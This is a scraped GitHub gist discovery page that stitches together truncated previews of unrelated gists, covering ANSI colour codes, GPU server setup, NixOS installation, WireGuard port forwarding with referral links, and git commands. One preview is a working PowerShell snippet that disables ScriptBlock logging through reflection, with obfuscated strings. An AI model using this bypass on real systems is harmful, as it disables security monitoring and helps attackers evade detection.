Discover gists

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

Ctrl-Key: ^[
Octal: \033
Unicode: \u001b
Hexadecimal: \x1B
Decimal: 27

Setting up a GPU server with scheduling and containers

Our group recently acquired a new server to do some deep learning: a SuperMicro 4029GP-TRT2, stuffed with 8x NVidia RTX 2080 Ti. Though maybe a bit overpowered, with upcoming networks like BigGAN and fully 3D networks, as well as students joining our group, this machine will be used quite a lot in the future.

One challenge is, is how to manage these GPUs. There are many approaches, but given that most PhD candidates aren't sysadmins, these range from 'free-for-all', leading to one person hogging all GPUs for weeks due to a bug in the code, to Excel sheets that noone understands and noone adheres to because changing GPU ids in code is hard. This leads to a lot of frustration, low productivity and under-utilisation of these expensive servers. Another issue is conflicting software versions. TensorFlow and Keras, for example, tend to do breaking API changes every now and then. As t

source

It's because the cedilla module isn't loaded by default when the locale is set to en, so) you have to change the configuration files for gtk to add them:

Edit configuration files:

sudo vim /usr/lib/x86_64-linux-gnu/gtk-3.0/3.0.0/immodules.cache sudo vim /usr/lib/x86_64-linux-gnu/gtk-2.0/2.10.0/immodules.cache

On both, find the lines starting with "cedilla" "Cedilla" and add :en to the line. Something like this:

Regular Colors

Value	Color
\e[0;30m	Black
\e[0;31m	Red
\e[0;32m	Green
\e[0;33m	Yellow
\e[0;34m	Blue
\e[0;35m	Purple

Install NixOS with BTRFS and IN-RAM root

1. Format and partition the hard drive

Create the GPT partition table
- $ parted /dev/sdX mklabel gpt
Create the UEFI FAT32 partition (which will be /dev/sdXY)
- $ parted /dev/sdX mkpart esp fat32 1MiB 512MiB
- $ parted /dev/sdX set 1 esp on
- $ parted /dev/sdX set 1 boot on

$ mkfs.fat -F 32 -n UEFI /dev/sdXY

Port forward over wireguard to VPS with static IP

This is write up is on how to port forward over wireguard. I am going to be port forwarding a mail server running MailCow on my local server, but really any service can be port forwared with some modifications to the IPTables commands in the wireguard file.

I am using a cheap Vultr VPS as my proxy server, if your intrested heres a referral link https://www.vultr.com/?ref=9019507 where I get $10 or if you plan to spend more then $35 on your account you will get $100 and I will get $35 https://www.vultr.com/?ref=9019508-8H

My Setup

Debain 10 Buster
Tunnel subnet: 10.1.1.0
Proxy-VPS Tunnel IP: 10.1.1.1

Hello Pi

This is a writedown of how I installed my raspberry pi(s).

The base is a Proxmox, so I don't have to worry about reformat the SD card every time I wanna try out something new, as I can start VMs and LXC containers, as well as Docker containers once it's configured properly.

Note: Those files are versioned, so you can always look what changed from time to time.

Topics

Pimox

	# ScriptBlock Logging Bypass
	# @cobbr_io

	$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
	If ($GroupPolicyField) {
	$GroupPolicyCache = $GroupPolicyField.GetValue($null)
	If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
	}

	GIT KOMUTLARI
	---------------

	- KULLANICI BILGILERI :

	git config --global user.name "kullanıcı adı / rumuz"
	git config --global user.email "E-posta"
	git config --list # Calisma ve kullanici bilgilerini göster

	import fs from 'fs';
	import path from 'path';
	import process from 'process';
	import { exec } from 'child_process';
	import readline from 'readline';

	// const rl = readline.createInterface({ input: process.stdin, output: process.stdout, });
	// function ask(text = '') { return new Promise((resolve) => rl.question(text, (answer) => resolve(answer))); }

	readline.emitKeypressEvents(process.stdin);